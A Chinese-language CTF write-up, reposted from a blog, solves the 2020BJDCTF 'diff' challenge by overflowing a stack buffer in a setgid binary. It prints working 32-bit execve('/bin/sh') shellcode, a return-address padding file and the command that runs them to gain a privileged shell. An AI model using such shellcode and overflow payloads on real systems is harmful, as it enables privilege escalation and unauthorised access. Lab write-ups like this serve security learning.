码迷,mamicode.com
首页 > 其他好文 > 详细

2020BJDCTF

时间:2020-03-24 01:08:26      阅读:231      评论:0      收藏:0      [点我收藏+]

标签:scp   十六   bsp   diff   文件中   div   下载   运行   add   

diff:

不得不说这种题目挺有意思的,现在记录一下阶梯过程:

先登录远程,发现有两个文件:

技术图片

 虽然直接能卡到flag文件,但是我们是以ctf用户登录的,并不能直接打开flag文件。仔细观察diff文件组用户权限是r-s,这意味着我们以ctf用户运行diff却能得到ctf_pwn用户的权限,就能读取flag了,所以我们目标是运行diff并拿到shell。

其实在做这题之前有好几道类似的题,没有给任何文件,都需要ssh连接远程,之前我有尝试用scp把文件下载到本地,结果都是败了,所以这题我就没注意看。知道看wp时才意思到可以下载到本地,不得不说挺坑的。

下载后用IDA打开,直接看compare函数:

技术图片

 很明显存在栈溢出,所以我们可以向buf1中写入shellcode,向addr写入padding。

这里不得不说另一个坑了。我之前直接把shellcode的十六进制代码写入到文件中,结果读出来的不对,后来才意识到这样是以字符读入,失去本来的意思。

python -c "print ‘\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80‘" > shellcode
python -c "print ‘A‘*0x7c + ‘\x24\xa0\x04\x08‘" > padding
./diff shellcode padding

 

2020BJDCTF

标签:scp   十六   bsp   diff   文件中   div   下载   运行   add   

原文地址:https://www.cnblogs.com/countfatcode/p/12556253.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!